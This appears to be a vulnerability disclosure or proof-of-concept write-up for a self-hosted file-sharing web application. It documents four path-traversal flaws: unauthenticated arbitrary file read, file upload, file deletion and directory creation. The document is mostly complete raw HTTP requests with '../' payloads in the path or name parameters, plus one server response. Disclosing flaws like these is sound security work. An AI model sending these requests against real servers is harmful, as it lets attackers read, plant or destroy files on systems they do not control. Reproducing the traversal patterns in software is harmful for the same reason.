achiove Add files via upload History

1 contributor

377 KB

1.arbitrary file read without authorization

Step1:

Create a file url:

request:

```
POST /api/storage/file/item HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/94.0.4606.81 Safari/537.36
axios-request: true
Referer: http://test:8080/admin/site-setting
Content-Type: application/json;charset=UTF-8;
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Content-Length: 43

{
"storageKey":"1","path":"../test.txt"
}
```

response:

```
HTTP/1.1 200
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept,
zfile-token, axios-request
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Credentials: false
Access-Control-Max-Age: 600
vary: accept-encoding
Content-Type: application/json
Date: Fri, 02 Sep 2022 06:26:35 GMT
Connection: close
Content-Length: 249

{"code":0,"msg":"ok","data":{"name":"test.txt","time":"2022-09-02
14:26","size":0,"type":"FILE","path":"/..","url":"http://127.0.0.1:8080/pd/1/../
test.txt?
signature=68ad145ec49aa9c8bf67adbf7100b3b00c0e7213b9a09776ad92a5221bc70b5e"},"da
taCount":null}
```

Step2 :

visit this url by burp, not your browser (the browser will eat the ../)

http://127.0.0.1:8080/pd/1/../test.txt?signature=68ad145ec49aa9c8bf67adbf7100b3b00c0e7213b9a09776ad92a5221bc70b5e

2.arbitrary file upload without authorization

```
POST /file/upload/1/../New%20folder2/b.bin HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 191
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryfKAFFIBNoar88Szt
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/94.0.4606.81 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/1/New%20folder
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryfKAFFIBNoar88Szt
Content-Disposition: form-data; name="file"; filename="b.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryfKAFFIBNoar88Szt--
```

3.arbitrary file delete

this vulnerability need file operation opened.

```
POST /api/file/operator/delete/batch HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 174
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/94.0.4606.81 Safari/537.36
axios-request: true
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8;
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"storageKey":"1","deleteItems":[{"name":"../test.txt","time":"2022-09-02
09:44","size":0,"type":"FILE","path":"/","icon":"text","fileType":"text","previe
w":true,"index":1}]}
```

in post data , the name parameter is vulnerable

4.Create arbitrary directory

this vulnerability need file operation opened.

启用文件操作时，可以未授权创建任意目录

```
POST /api/file/operator/mkdir HTTP/1.1
```

```
Host: 127.0.0.1:8080
Content-Length: 45
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
```

```
zfile-token: 7067070a-5961-44ac-aacd-748db14eeac5
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/94.0.4606.81 Safari/537.36
axios-request: true
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8;
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: zfile-token=7067070a-5961-44ac-aacd-748db14eeac5
Connection: close

{"storageKey":"1","path":"/","name":"../aaa"}
```

the name parameter is vulnerable in post data.